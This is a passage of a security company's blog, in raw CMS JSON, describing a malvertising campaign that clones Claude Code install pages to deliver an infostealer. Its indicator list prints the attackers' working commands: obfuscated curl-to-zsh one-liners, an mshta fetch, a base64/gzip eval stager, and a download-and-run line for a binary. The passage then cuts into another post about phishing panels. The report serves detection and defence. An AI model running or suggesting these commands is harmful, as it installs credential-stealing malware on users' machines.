practice against one of the fastest-growing developer tools on the market: Anthropic's Claude Code.",{"data":2771,"content":2772,"nodeType":866},{},[2773],{"data":2774,"marks":2775,"value":2776,"nodeType":865},{},[],"Claude Code is a command-line AI coding assistant that has rapidly become the go-to for both experienced developers and amateur vibe-coders. Like many modern CLI tools, the recommended installation method is a one-liner that pipes a remote script into a shell. ",{"data":2778,"content":2779,"nodeType":866},{},[2780],{"data":2781,"marks":2782,"value":2783,"nodeType":865},{},[],"The attacker's approach is straightforward. They clone the Claude Code installation page (layout, branding, documentation sidebar, and all), hosting it on a lookalike domain. The page is a near-pixel-perfect replica of the real thing. The only meaningful difference is in the installation commands themselves: instead of fetching the install script from claude.ai, the commands point to an attacker-controlled server that serves malware instead. ",{"data":2785,"content":2786,"nodeType":866},{},[2787],{"data":2788,"marks":2789,"value":2790,"nodeType":865},{},[],"Unless you’re carefully reading the URL embedded in the install one-liner (and let's be honest, almost nobody does these days), the page is indistinguishable from the real one.",{"data":2792,"content":2793,"nodeType":866},{},[2794],{"data":2795,"marks":2796,"value":2797,"nodeType":865},{},[],"You can see a video of a user being served a malicious InstallFix page below.",{"data":2799,"content":2803,"nodeType":921},{"target":2800},{"sys":2801},{"id":2802,"type":918,"linkType":919},"1dhirnghbpAwyCse8cjAas",[],{"data":2805,"content":2809,"nodeType":921},{"target":2806},{"sys":2807},{"id":2808,"type":918,"linkType":919},"5TBnCFM4Y5CoqKPchHDpyv",[],{"data":2811,"content":2812,"nodeType":866},{},[2813],{"data":2814,"marks":2815,"value":2816,"nodeType":865},{},[],"Any further interaction on the page simply redirects you to the legitimate site, too. So a victim that lands on the page and follows the fake instructions could continue normally without realizing anything had gone wrong. ",{"data":2818,"content":2822,"nodeType":921},{"target":2819},{"sys":2820},{"id":2821,"type":918,"linkType":919},"5g3joJSAP8y8xv2bKaLGe2",[],{"data":2824,"content":2825,"nodeType":1229},{},[2826],{"data":2827,"marks":2828,"value":2829,"nodeType":865},{},[],"Distribution via Google Ads",{"data":2831,"content":2832,"nodeType":866},{},[2833],{"data":2834,"marks":2835,"value":2836,"nodeType":865},{},[],"The fake install pages are distributed exclusively through Google Ads, specifically through sponsored search results that appear when users search for terms like \"Claude Code\", \"Claude Code install\", or \"Claude Code CLI.\"",{"data":2838,"content":2842,"nodeType":921},{"target":2839},{"sys":2840},{"id":2841,"type":918,"linkType":919},"3CTtrOy3q8NoMblxkLlTer",[],{"data":2844,"content":2848,"nodeType":921},{"target":2845},{"sys":2846},{"id":2847,"type":918,"linkType":919},"4m5rg9UhRQK0e8OfYFlIUc",[],{"data":2850,"content":2854,"nodeType":921},{"target":2851},{"sys":2852},{"id":2853,"type":918,"linkType":919},"25lAkq9tTZ2Mq52gs6xR8G",[],{"data":2856,"content":2860,"nodeType":921},{"target":2857},{"sys":2858},{"id":2859,"type":918,"linkType":919},"4f4svuW3tjhNc3kEfCwNRG",[],{"data":2862,"content":2863,"nodeType":866},{},[2864,2868,2876],{"data":2865,"marks":2866,"value":2867,"nodeType":865},{},[],"Malvertising via Google Search is an effective delivery vector because it bypasses email-based security controls entirely. There's no phishing email to flag, no suspicious link in a message. The user initiates the interaction themselves by searching for something they genuinely intend to install. This is one of the reasons that attackers are ",{"data":2869,"content":2870,"nodeType":889},{"uri":1781},[2871],{"data":2872,"marks":2873,"value":2875,"nodeType":865},{},[2874],{"type":1191},"doubling down on targeting ad manager accounts",{"data":2877,"marks":2878,"value":2879,"nodeType":865},{},[]," to be able to hijack existing ad budgets and spin up even more malicious ads.",{"data":2881,"content":2882,"nodeType":866},{},[2883,2888],{"data":2884,"marks":2885,"value":2887,"nodeType":865},{},[2886],{"type":935},"The reality is that users are going to encounter malicious links through stealthy channels like malvertising every day, just through normal internet browsing",{"data":2889,"marks":2890,"value":2891,"nodeType":865},{},[],", without being actively targeted. That said, ads can be targeted too: Google Ads can be tuned to searches coming from specific geographic locations, tailored to specific email domain matches, or specific device types (e.g. desktop, mobile, etc.). So if you've got sufficient intel on your target, you can tailor the ad accordingly. ",{"data":2893,"content":2894,"nodeType":866},{},[2895],{"data":2896,"marks":2897,"value":2898,"nodeType":865},{},[],"Since the sponsored result appears above the organic results for the legitimate Claude Code documentation and the displayed URL in the ad appears plausible, victims are more likely to quickly click and access the domain without checking it out fully. Search engines typically suppress subdomains from displayed URLs too, giving the attacker additional cover for the lookalike domain.",{"data":2900,"content":2904,"nodeType":921},{"target":2901},{"sys":2902},{"id":2903,"type":918,"linkType":919},"4Ihz5BcRK0NDVy0ANg2PWe",[],{"data":2906,"content":2907,"nodeType":1229},{},[2908],{"data":2909,"marks":2910,"value":2911,"nodeType":865},{},[],"The payload",{"data":2913,"content":2914,"nodeType":866},{},[2915],{"data":2916,"marks":2917,"value":2918,"nodeType":865},{},[],"The malware initiates execution through cmd.exe (PID 8444), which spawns mshta.exe (PID 8700) to retrieve and execute content from a remote URL. The command structure indicates staged execution:",{"data":2920,"content":2921,"nodeType":2374},{},[2922,2932,2942],{"data":2923,"content":2924,"nodeType":2309},{},[2925],{"data":2926,"content":2927,"nodeType":866},{},[2928],{"data":2929,"marks":2930,"value":2931,"nodeType":865},{},[],"cmd.exe executes a command-line instruction to launch mshta.exe with a URL parameter pointing to https://claude[.]update-version[.]com/claude",{"data":2933,"content":2934,"nodeType":2309},{},[2935],{"data":2936,"content":2937,"nodeType":866},{},[2938],{"data":2939,"marks":2940,"value":2941,"nodeType":865},{},[],"mshta.exe (child process) is invoked to fetch and execute HTML/script content from the malicious domain",{"data":2943,"content":2944,"nodeType":2309},{},[2945],{"data":2946,"content":2947,"nodeType":866},{},[2948],{"data":2949,"marks":2950,"value":2951,"nodeType":865},{},[],"conhost.exe (PID 8496) is spawned as a console host, likely to support command execution output",{"data":2953,"content":2954,"nodeType":866},{},[2955],{"data":2956,"marks":2957,"value":2958,"nodeType":865},{},[],"The MacOS payload also uses additional encoding and staged execution layers.",{"data":2960,"content":2961,"nodeType":866},{},[2962],{"data":2963,"marks":2964,"value":2966,"nodeType":865},{},[2965],{"type":935},"You can see the full list of IoCs at the end of the blog.   ",{"data":2968,"content":2969,"nodeType":866},{},[2970],{"data":2971,"marks":2972,"value":2973,"nodeType":865},{},[],"Our analysis shows us that the payload matches the Yara signatures for the Amatera Stealer malware, retrieved from the command-and-control domain claude[.]update-version[.]com.",{"data":2975,"content":2979,"nodeType":921},{"target":2976},{"sys":2977},{"id":2978,"type":918,"linkType":919},"TXcSp34sIAOKIXlKT4Lb0",[],{"data":2981,"content":2982,"nodeType":866},{},[2983],{"data":2984,"marks":2985,"value":2986,"nodeType":865},{},[],"Notably, we saw different sites executing identical binaries, further indicating that these are part of a single attacker campaign. ",{"data":2988,"content":2992,"nodeType":921},{"target":2989},{"sys":2990},{"id":2991,"type":918,"linkType":919},"3ExLtcl6df07BcKPsGZn42",[],{"data":2994,"content":2995,"nodeType":1229},{},[2996],{"data":2997,"marks":2998,"value":2999,"nodeType":865},{},[],"Abusing legitimate hosting services",{"data":3001,"content":3002,"nodeType":866},{},[3003,3007,3014],{"data":3004,"marks":3005,"value":3006,"nodeType":865},{},[],"Another common theme we see across pretty much every phishing site these days is the abuse of legitimate domains for hosting malicious content. This allows attackers to blend in with normal web traffic and is a core ",{"data":3008,"content":3009,"nodeType":889},{"uri":1388},[3010],{"data":3011,"marks":3012,"value":1393,"nodeType":865},{},[3013],{"type":1191},{"data":3015,"marks":3016,"value":3017,"nodeType":865},{},[],". ",{"data":3019,"content":3020,"nodeType":866},{},[3021],{"data":3022,"marks":3023,"value":3024,"nodeType":865},{},[],"In this case, we observed Cloudflare Pages (pages.dev), Squarespace, and Tencent EdgeOne being used. ",{"data":3026,"content":3027,"nodeType":944},{},[],{"data":3029,"content":3030,"nodeType":953},{},[3031],{"data":3032,"marks":3033,"value":3035,"nodeType":865},{},[3034],{"type":935},"A broader trend",{"data":3037,"content":3038,"nodeType":866},{},[3039],{"data":3040,"marks":3041,"value":3042,"nodeType":865},{},[],"This isn't happening in isolation. Claude and its associated tools have become a recurring target for recent malware distribution campaigns:",{"data":3044,"content":3045,"nodeType":2374},{},[3046,3069,3092,3115],{"data":3047,"content":3048,"nodeType":2309},{},[3049],{"data":3050,"content":3051,"nodeType":866},{},[3052,3055,3065],{"data":3053,"marks":3054,"value":21,"nodeType":865},{},[],{"data":3056,"content":3058,"nodeType":889},{"uri":3057},"https://www.bleepingcomputer.com/news/security/claude-llm-artifacts-abused-to-push-mac-infostealers-in-clickfix-attack/",[3059],{"data":3060,"marks":3061,"value":3064,"nodeType":865},{},[3062,3063],{"type":1191},{"type":935},"Fake Claude artifacts used in traditional ClickFix lures",{"data":3066,"marks":3067,"value":3068,"nodeType":865},{},[],": Attackers created public pages on the claude.ai domain itself (user-generated content that inherited the domain's trust) containing malicious terminal commands disguised as macOS utilities. These were promoted via hijacked Google Ads and viewed over 15,000 times before being taken down.",{"data":3070,"content":3071,"nodeType":2309},{},[3072],{"data":3073,"content":3074,"nodeType":866},{},[3075,3078,3088],{"data":3076,"marks":3077,"value":21,"nodeType":865},{},[],{"data":3079,"content":3081,"nodeType":889},{"uri":3080},"https://hunt.io/blog/fake-homebrew-clickfix-cuckoo-stealer-macos",[3082],{"data":3083,"marks":3084,"value":3087,"nodeType":865},{},[3085,3086],{"type":1191},{"type":935},"Fake Homebrew installation pages",{"data":3089,"marks":3090,"value":3091,"nodeType":865},{},[],": Near-identical clones of the Homebrew website delivering the Cuckoo infostealer to macOS users, using the same \"copy this install command\" mechanic.",{"data":3093,"content":3094,"nodeType":2309},{},[3095],{"data":3096,"content":3097,"nodeType":866},{},[3098,3101,3111],{"data":3099,"marks":3100,"value":21,"nodeType":865},{},[],{"data":3102,"content":3104,"nodeType":889},{"uri":3103},"https://www.huntress.com/blog/openclaw-github-ghostsocks-infostealer",[3105],{"data":3106,"marks":3107,"value":3110,"nodeType":865},{},[3108,3109],{"type":1191},{"type":935},"Fake OpenClaw installers on GitHub",{"data":3112,"marks":3113,"value":3114,"nodeType":865},{},[],": Malicious repositories impersonating the popular AI agent tool, boosted by Bing's AI search results, delivering infostealers and the GhostSocks proxy malware.",{"data":3116,"content":3117,"nodeType":2309},{},[3118],{"data":3119,"content":3120,"nodeType":866},{},[3121,3124,3134],{"data":3122,"marks":3123,"value":21,"nodeType":865},{},[],{"data":3125,"content":3127,"nodeType":889},{"uri":3126},"https://thehackernews.com/2026/02/malicious-npm-packages-harvest-crypto.html",[3128],{"data":3129,"marks":3130,"value":3133,"nodeType":865},{},[3131,3132],{"type":1191},{"type":935},"Trojanised npm packages",{"data":3135,"marks":3136,"value":3137,"nodeType":865},{},[],": Malicious packages mimicking Claude Code's official npm package name, targeting developers who might make a typo or trust an unofficial source.",{"data":3139,"content":3140,"nodeType":866},{},[3141],{"data":3142,"marks":3143,"value":3144,"nodeType":865},{},[],"But this isn’t just a Claude problem — any tool or site that is likely to get clicks, and can be easily cloned, is a potential target for malvertising and impersonation. For example, we’ve also recently seen attackers target free web tools with clever ClickFix lures that only load after an attacker has interacted with the page — in the example below, uploading a file to remove an image background, or convert a document to PDF. These are clones of real sites that attackers have cloned because they allow them to intercept users entering common search terms. ",{"data":3146,"content":3150,"nodeType":921},{"target":3147},{"sys":3148},{"id":3149,"type":918,"linkType":919},"6fbQRdi1xXzMOmYTcAGDLc",[],{"data":3152,"content":3153,"nodeType":944},{},[],{"data":3155,"content":3156,"nodeType":1229},{},[3157],{"data":3158,"marks":3159,"value":3161,"nodeType":865},{},[3160],{"type":935},"How Push detects InstallFix",{"data":3163,"content":3164,"nodeType":866},{},[3165],{"data":3166,"marks":3167,"value":3168,"nodeType":865},{},[],"Regardless of the delivery channel, whether it's a phishing email, a malvertising lure, or a fake install page, all roads lead to a web page loaded in the user's browser, and that's where Push operates.",{"data":3170,"content":3171,"nodeType":866},{},[3172],{"data":3173,"marks":3174,"value":3175,"nodeType":865},{},[],"Push sees what the user sees: the page as it renders in the browser, in real time. This means we can detect InstallFix pages by identifying the combination of signals that characterise them: lookalike domains impersonating known developer tools, copy-to-clipboard elements containing shell commands, and the presence of malvertising delivery indicators.",{"data":3177,"content":3178,"nodeType":866},{},[3179],{"data":3180,"marks":3181,"value":3182,"nodeType":865},{},[],"Because Push detects threats directly in the browser, it doesn't matter that the attack came from a Google Search ad rather than an email. There's no phishing email for a Secure Email Gateway to inspect — the user searched for and navigated to the page themselves. But the page still loads in the browser, where Push is there to catch it.",{"data":3184,"content":3185,"nodeType":866},{},[3186,3190,3199,3203,3212,3216,3224],{"data":3187,"marks":3188,"value":3189,"nodeType":865},{},[],"To learn more about how Push protects against InstallFix, ClickFix, and other browser-based attacks, ",{"data":3191,"content":3193,"nodeType":889},{"uri":3192},"https://pushsecurity.com/resources/product-brochure",[3194],{"data":3195,"marks":3196,"value":3198,"nodeType":865},{},[3197],{"type":1191},"check out our latest product overview",{"data":3200,"marks":3201,"value":3202,"nodeType":865},{},[],", ",{"data":3204,"content":3206,"nodeType":889},{"uri":3205},"https://pushsecurity.com/product-demo/",[3207],{"data":3208,"marks":3209,"value":3211,"nodeType":865},{},[3210],{"type":1191},"visit our demo library",{"data":3213,"marks":3214,"value":3215,"nodeType":865},{},[],", or ",{"data":3217,"content":3218,"nodeType":889},{"uri":2644},[3219],{"data":3220,"marks":3221,"value":3223,"nodeType":865},{},[3222],{"type":1191},"book some time with one of our team for a live demo",{"data":3225,"marks":3226,"value":1066,"nodeType":865},{},[],{"data":3228,"content":3229,"nodeType":944},{},[],{"data":3231,"content":3232,"nodeType":953},{},[3233],{"data":3234,"marks":3235,"value":3237,"nodeType":865},{},[3236],{"type":935},"IoCs",{"data":3239,"content":3240,"nodeType":866},{},[3241,3244,3251],{"data":3242,"marks":3243,"value":1514,"nodeType":865},{},[],{"data":3245,"content":3246,"nodeType":889},{"uri":1517},[3247],{"data":3248,"marks":3249,"value":1522,"nodeType":865},{},[3250],{"type":1191},{"data":3252,"marks":3253,"value":1526,"nodeType":865},{},[],{"data":3255,"content":3256,"nodeType":866},{},[3257],{"data":3258,"marks":3259,"value":3260,"nodeType":865},{},[],"This is a fast-moving situation, with domains constantly being spun up. At the time of writing, the domains observed were:",{"data":3262,"content":3263,"nodeType":866},{},[3264],{"data":3265,"marks":3266,"value":3268,"nodeType":865},{},[3267],{"type":935},"Cloned domains:",{"data":3270,"content":3271,"nodeType":2374},{},[3272,3282,3292,3302,3312,3322,3331,3341,3351,3360,3370,3380,3390,3400,3410,3420,3430,3439,3449,3459,3469],{"data":3273,"content":3274,"nodeType":2309},{},[3275],{"data":3276,"content":3277,"nodeType":866},{},[3278],{"data":3279,"marks":3280,"value":3281,"nodeType":865},{},[],"claud-code[.]pages[.]dev",{"data":3283,"content":3284,"nodeType":2309},{},[3285],{"data":3286,"content":3287,"nodeType":866},{},[3288],{"data":3289,"marks":3290,"value":3291,"nodeType":865},{},[],"claulastver[.]squarespace[.]com",{"data":3293,"content":3294,"nodeType":2309},{},[3295],{"data":3296,"content":3297,"nodeType":866},{},[3298],{"data":3299,"marks":3300,"value":3301,"nodeType":865},{},[],"claudecode-developers[.]squarespace[.]com",{"data":3303,"content":3304,"nodeType":2309},{},[3305],{"data":3306,"content":3307,"nodeType":866},{},[3308],{"data":3309,"marks":3310,"value":3311,"nodeType":865},{},[],"hgjbulk.pages[.]dev",{"data":3313,"content":3314,"nodeType":2309},{},[3315],{"data":3316,"content":3317,"nodeType":866},{},[3318],{"data":3319,"marks":3320,"value":3321,"nodeType":865},{},[],"jhgyuifyfiguohi[.]pages[.]dev",{"data":3323,"content":3324,"nodeType":2309},{},[3325],{"data":3326,"content":3327,"nodeType":866},{},[3328],{"data":3329,"marks":3330,"value":3311,"nodeType":865},{},[],{"data":3332,"content":3333,"nodeType":2309},{},[3334],{"data":3335,"content":3336,"nodeType":866},{},[3337],{"data":3338,"marks":3339,"value":3340,"nodeType":865},{},[],"claude-code-install[.]squarespace[.]com",{"data":3342,"content":3343,"nodeType":2309},{},[3344],{"data":3345,"content":3346,"nodeType":866},{},[3347],{"data":3348,"marks":3349,"value":3350,"nodeType":865},{},[],"claude-code-docs-site[.]pages[.]dev",{"data":3352,"content":3353,"nodeType":2309},{},[3354],{"data":3355,"content":3356,"nodeType":866},{},[3357],{"data":3358,"marks":3359,"value":3291,"nodeType":865},{},[],{"data":3361,"content":3362,"nodeType":2309},{},[3363],{"data":3364,"content":3365,"nodeType":866},{},[3366],{"data":3367,"marks":3368,"value":3369,"nodeType":865},{},[],"cladueall[.]pages[.]dev",{"data":3371,"content":3372,"nodeType":2309},{},[3373],{"data":3374,"content":3375,"nodeType":866},{},[3376],{"data":3377,"marks":3378,"value":3379,"nodeType":865},{},[],"claude-code-docs-dvlr2jpuuw[.]edgeone[.]app",{"data":3381,"content":3382,"nodeType":2309},{},[3383],{"data":3384,"content":3385,"nodeType":866},{},[3386],{"data":3387,"marks":3388,"value":3389,"nodeType":865},{},[],"myclauda[.]it[.]com",{"data":3391,"content":3392,"nodeType":2309},{},[3393],{"data":3394,"content":3395,"nodeType":866},{},[3396],{"data":3397,"marks":3398,"value":3399,"nodeType":865},{},[],"vdsafsaf[.]it[.]com",{"data":3401,"content":3402,"nodeType":2309},{},[3403],{"data":3404,"content":3405,"nodeType":866},{},[3406],{"data":3407,"marks":3408,"value":3409,"nodeType":865},{},[],"asdasdasdadsvvvvv[.]pages[.]dev/",{"data":3411,"content":3412,"nodeType":2309},{},[3413],{"data":3414,"content":3415,"nodeType":866},{},[3416],{"data":3417,"marks":3418,"value":3419,"nodeType":865},{},[],"nnnnnnnnnnnnnnnnnnnnn[.]pages[.]dev",{"data":3421,"content":3422,"nodeType":2309},{},[3423],{"data":3424,"content":3425,"nodeType":866},{},[3426],{"data":3427,"marks":3428,"value":3429,"nodeType":865},{},[],"claude-code-macos[.]com",{"data":3431,"content":3432,"nodeType":2309},{},[3433],{"data":3434,"content":3435,"nodeType":866},{},[3436],{"data":3437,"marks":3438,"value":3350,"nodeType":865},{},[],{"data":3440,"content":3441,"nodeType":2309},{},[3442],{"data":3443,"content":3444,"nodeType":866},{},[3445],{"data":3446,"marks":3447,"value":3448,"nodeType":865},{},[],"claude-code-update[.]squarespace[.]com",{"data":3450,"content":3451,"nodeType":2309},{},[3452],{"data":3453,"content":3454,"nodeType":866},{},[3455],{"data":3456,"marks":3457,"value":3458,"nodeType":865},{},[],"claudecodeupdate[.]squarespace[.]com",{"data":3460,"content":3461,"nodeType":2309},{},[3462],{"data":3463,"content":3464,"nodeType":866},{},[3465],{"data":3466,"marks":3467,"value":3468,"nodeType":865},{},[],"notebooklm-version-upd[.]squarespace[.]com",{"data":3470,"content":3471,"nodeType":2309},{},[3472],{"data":3473,"content":3474,"nodeType":866},{},[3475],{"data":3476,"marks":3477,"value":3478,"nodeType":865},{},[],"notklmalans[.]pages[.]dev",{"data":3480,"content":3481,"nodeType":866},{},[3482],{"data":3483,"marks":3484,"value":3486,"nodeType":865},{},[3485],{"type":935},"Domains hosting malicious payload:",{"data":3488,"content":3489,"nodeType":2374},{},[3490,3500,3510],{"data":3491,"content":3492,"nodeType":2309},{},[3493],{"data":3494,"content":3495,"nodeType":866},{},[3496],{"data":3497,"marks":3498,"value":3499,"nodeType":865},{},[],"contatoplus[.]com",{"data":3501,"content":3502,"nodeType":2309},{},[3503],{"data":3504,"content":3505,"nodeType":866},{},[3506],{"data":3507,"marks":3508,"value":3509,"nodeType":865},{},[],"sarahmoftah[.]com",{"data":3511,"content":3512,"nodeType":2309},{},[3513],{"data":3514,"content":3515,"nodeType":866},{},[3516],{"data":3517,"marks":3518,"value":3519,"nodeType":865},{},[],"claude[.]update-version[.]com",{"data":3521,"content":3522,"nodeType":866},{},[3523],{"data":3524,"marks":3525,"value":3527,"nodeType":865},{},[3526],{"type":935},"Commands:",{"data":3529,"content":3530,"nodeType":866},{},[3531],{"data":3532,"marks":3533,"value":3536,"nodeType":865},{},[3534],{"type":3535},"code","curl -ksfLS $(echo 'aHR0cHM6Ly9jb250YXRvcGx1cy5jb20vY3VybC84ZDJkMjc1MzYwYWRlZGVjZmJiZDkxNTY3ZGFkZGVlZDgwZDIwYWNlYjhhYTQzMjBkMDZhMjE0ODY0OTM5NDVi'|base64 -D)| zsh",{"data":3538,"content":3539,"nodeType":866},{},[3540],{"data":3541,"marks":3542,"value":21,"nodeType":865},{},[],{"data":3544,"content":3545,"nodeType":866},{},[3546],{"data":3547,"marks":3548,"value":3550,"nodeType":865},{},[3549],{"type":3535},"curl -sfkSL $(echo 'aHR0cHM6Ly93cmljb25zdWx0LmNvbS9jdXJsLzhhZjY1YmEzODg1ZDZlMjU5NmVhMmNlMmRiNGEzYmM1ZWUwMmI4ZGViMzM2ZjlhZTkzZTI2MmM0ZGIwMGI3NTc='|base64 -D)| zsh",{"data":3552,"content":3553,"nodeType":866},{},[3554],{"data":3555,"marks":3556,"value":3557,"nodeType":865},{},[],"\n",{"data":3559,"content":3560,"nodeType":866},{},[3561],{"data":3562,"marks":3563,"value":3565,"nodeType":865},{},[3564],{"type":3535},"C:\\Windows\\SysWOW64\\mshta.exe https://claude.update-version.com/claude ",{"data":3567,"content":3568,"nodeType":866},{},[3569,3572],{"data":3570,"marks":3571,"value":3557,"nodeType":865},{},[],{"data":3573,"marks":3574,"value":3576,"nodeType":865},{},[3575],{"type":935},"Base64 decoded url:",{"data":3578,"content":3579,"nodeType":866},{},[3580],{"data":3581,"marks":3582,"value":3584,"nodeType":865},{},[3583],{"type":3535},"contatoplus[.]com/curl/8d2d275360adedecfbbd91567daddeed80d20aceb8aa4320d06a21486493945b ",{"data":3586,"content":3587,"nodeType":866},{},[3588],{"data":3589,"marks":3590,"value":21,"nodeType":865},{},[],{"data":3592,"content":3593,"nodeType":866},{},[3594],{"data":3595,"marks":3596,"value":3598,"nodeType":865},{},[3597],{"type":3535},"saramoftah[.]com/curl/958ca005af6a71be22cfcd5de82ebf5c8b809b7ee28999b6ed38bfe5d19420",{"data":3600,"content":3601,"nodeType":866},{},[3602,3605],{"data":3603,"marks":3604,"value":3557,"nodeType":865},{},[],{"data":3606,"marks":3607,"value":3609,"nodeType":865},{},[3608],{"type":935},"Second stage:",{"data":3611,"content":3612,"nodeType":866},{},[3613],{"data":3614,"marks":3615,"value":3617,"nodeType":865},{},[3616],{"type":3535},"#!/bin/zsh",{"data":3619,"content":3620,"nodeType":866},{},[3621],{"data":3622,"marks":3623,"value":3625,"nodeType":865},{},[3624],{"type":3535},"mkgrc9=$(base64 -D \u003C\u003C'PAYLOAD_END' | gunzip",{"data":3627,"content":3628,"nodeType":866},{},[3629],{"data":3630,"marks":3631,"value":3633,"nodeType":865},{},[3632],{"type":3535},"H4sIAKgRpGkC/13LPQqAMAxA4b2niAhdpGYVbxPbSoT+0UYonl5HdXwfvHHA7Uh4NVb2rAFMBpRYkH0ovgKLlLYiNqoU8y7Es80R05LwLI7Eg9bQSaSCsZ/zccsxO5j631+pbrYTnkSAAAAA",{"data":3635,"content":3636,"nodeType":866},{},[3637],{"data":3638,"marks":3639,"value":3641,"nodeType":865},{},[3640],{"type":3535},"PAYLOAD_END",{"data":3643,"content":3644,"nodeType":866},{},[3645],{"data":3646,"marks":3647,"value":3649,"nodeType":865},{},[3648],{"type":3535},")",{"data":3651,"content":3652,"nodeType":866},{},[3653],{"data":3654,"marks":3655,"value":3657,"nodeType":865},{},[3656],{"type":3535},"eval \"$mkgrc9\"",{"data":3659,"content":3660,"nodeType":866},{},[3661,3664],{"data":3662,"marks":3663,"value":3557,"nodeType":865},{},[],{"data":3665,"marks":3666,"value":3668,"nodeType":865},{},[3667],{"type":935},"Binaries:",{"data":3670,"content":3671,"nodeType":866},{},[3672],{"data":3673,"marks":3674,"value":3617,"nodeType":865},{},[3675],{"type":3535},{"data":3677,"content":3678,"nodeType":866},{},[3679],{"data":3680,"marks":3681,"value":3683,"nodeType":865},{},[3682],{"type":3535},"curl -o /tmp/helper https://saramoftah.com/n8n/update && xattr -c /tmp/helper && chmod +x /tmp/helper && /tmp/helper","InstallFix: How attackers are weaponizing malvertised install guides  ","Attackers are impersonating popular developer tools like Claude Code to distribute fake install instructions via malicious search engine ads.","2026-03-06T00:00:00.000Z","installfix",{"items":3689},[3690,3692],{"sys":3691,"name":2663},{"id":2662},{"sys":3693,"name":342},{"id":2666},{"items":3695},[3696],{"fullName":3697,"firstName":3698,"jobTitle":3699,"profilePicture":3700},"Jacques Louw","Jacques","Co-founder / CRO",{"url":3701},"https://images.ctfassets.net/y1cdw1ablpvd/39m8bektV23lnCRcEq0G8h/2a08f6276a50744f1a4b499b273f6bb2/Push_Founders_at_Cahoots_October_28_2022_by_Doug_Coombe-21.jpg",{"__typename":1802,"sys":3703,"content":3705,"title":5606,"synopsis":5607,"hashTags":59,"publishedDate":5608,"slug":5609,"tagsCollection":5610,"authorsCollection":5616},{"id":3704},"2tz0zEJCarJBkceOYk4zVg",{"json":3706},{"data":3707,"content":3708,"nodeType":1663},{},[3709,3716,3746,3758,3765,3771,3783,3789,3792,3800,3807,3870,3877,3883,3886,3894,3901,3907,3915,3922,4048,4054,4060,4066,4072,4080,4087,4094,4157,4164,4170,4176,4184,4191,4198,4206,4213,4246,4253,4259,4266,4314,4321,4329,4336,4342,4349,4356,4362,4369,4402,4409,4415,4418,4426,4433,4440,4447,4453,4460,4467,4473,4480,4486,4493,4499,4506,4513,4516,4524,4540,4547,4567,4810,4817,4849,5084,5091,5098,5299,5306,5491,5494,5502,5509,5516,5528,5531,5538,5555,5572,5579,5582,5590],{"data":3710,"content":3711,"nodeType":866},{},[3712],{"data":3713,"marks":3714,"value":3715,"nodeType":865},{},[],"When Push blocks an attack in the browser, we take the opportunity to do some more digging to see what else we can find. One recent detection led us down the rabbit hole — and right into a criminal phishing panel. ",{"data":3717,"content":3718,"nodeType":866},{},[3719,3723,3730,3734,3742],{"data":3720,"marks":3721,"value":3722,"nodeType":865},{},[],"Real-time operated phishing panels have been used extensively in recent months, in vishing + phishing attacks attributed to first ",{"data":3724,"content":3725,"nodeType":889},{"uri":2322},[3726],{"data":3727,"marks":3728,"value":3729,"nodeType":865},{},[],"ShinyHunters",{"data":3731,"marks":3732,"value":3733,"nodeType":865},{},[],", and more recently the ",{"data":3735,"content":3737,"nodeType":889},{"uri":3736},"https://www.bleepingcomputer.com/news/security/new-blackfile-extortion-gang-targets-retail-and-hospitality-orgs/",[3738],{"data":3739,"marks":3740,"value":3741,"nodeType":865},{},[],"BlackFile",{"data":3743,"marks":3744,"value":3745,"nodeType":865},{},[]," hacking group, with a significant overlap in techniques and tooling. ",{"data":3747,"content":3748,"nodeType":866},{},[3749,3754],{"data":3750,"marks":3751,"value":3753,"nodeType":865},{},[3752],{"type":935},"We’ve directly accessed active deployments of the operator panels driving these campaigns, observed what happens in real-time when a victim is targeted, and analyzed multiple variants and forks of the tooling. ",{"data":3755,"marks":3756,"value":3757,"nodeType":865},{},[]," ",{"data":3759,"content":3760,"nodeType":866},{},[3761],{"data":3762,"marks":3763,"value":3764,"nodeType":865},{},[],"We identified four primary infrastructure clusters, with each deployment having its own panel implementation. While the panels share common heritage, the operators deploying them appear to be separate groups with different infrastructure preferences and operational patterns.",{"data":3766,"content":3770,"nodeType":921},{"target":3767},{"sys":3768},{"id":3769,"type":918,"linkType":919},"5BQOpzjSbobLx8OkvXl6os",[],{"data":3772,"content":3773,"nodeType":866},{},[3774,3778],{"data":3775,"marks":3776,"value":3777,"nodeType":865},{},[],"The existence of these independently branded forks indicates that the tooling has entered a phase of wider distribution — operators who obtained the original panel source are now customizing and reshipping it for their own purposes. As a result, the tooling is now most likely accessible to a broad population of financially motivated threat actors. ",{"data":3779,"marks":3780,"value":3782,"nodeType":865},{},[3781],{"type":935},"In total, we’ve identified over 400 domains linked to the attacks, giving an indication of the scale. ",{"data":3784,"content":3788,"nodeType":921},{"target":3785},{"sys":3786},{"id":3787,"type":918,"linkType":919},"2Z1LUdYXVONWO9nnJTkWsJ",[],{"data":3790,"content":3791,"nodeType":944},{},[],{"data":3793,"content":3794,"nodeType":953},{},[3795],{"data":3796,"marks":3797,"value":3799,"nodeType":865},{},[3798],{"type":935},"Background",{"data":3801,"content":3802,"nodeType":866},{},[3803],{"data":3804,"marks":3805,"value":3806,"nodeType":865},{},[],"Since at least August 2025, attackers have been running hybrid social engineering campaigns targeting hundreds of organizations across financial services, technology, cryptocurrency, healthcare, hospitality, and private aviation. ",{"data":3808,"content":3809,"nodeType":2374},{},[3810,3825,3840,3855],{"data":3811,"content":3812,"nodeType":2309},{},[3813],{"data":3814,"content":3815,"nodeType":866},{},[3816,3821],{"data":3817,"marks":3818,"value":3820,"nodeType":865},{},[3819],{"type":935},"August 2025: ",{"data":3822,"marks":3823,"value":3824,"nodeType":865},{},[],"Tooling made available, used in crypto-focused attacks",{"data":3826,"content":3827,"nodeType":2309},{},[3828],{"data":3829,"content":3830,"nodeType":866},{},[3831,3836],{"data":3832,"marks":3833,"value":3835,"nodeType":865},{},[3834],{"type":935},"November 2025:",{"data":3837,"marks":3838,"value":3839,"nodeType":865},{},[]," Major attacks on enterprise identity platforms begin",{"data":3841,"content":3842,"nodeType":2309},{},[3843],{"data":3844,"content":3845,"nodeType":866},{},[3846,3851],{"data":3847,"marks":3848,"value":3850,"nodeType":865},{},[3849],{"type":935},"January 2026: ",{"data":3852,"marks":3853,"value":3854,"nodeType":865},{},[],"Public breaches reported",{"data":3856,"content":3857,"nodeType":2309},{},[3858],{"data":3859,"content":3860,"nodeType":866},{},[3861,3866],{"data":3862,"marks":3863,"value":3865,"nodeType":865},{},[3864],{"type":935},"March 2026: ",{"data":3867,"marks":3868,"value":3869,"nodeType":865},{},[],"Activity spikes 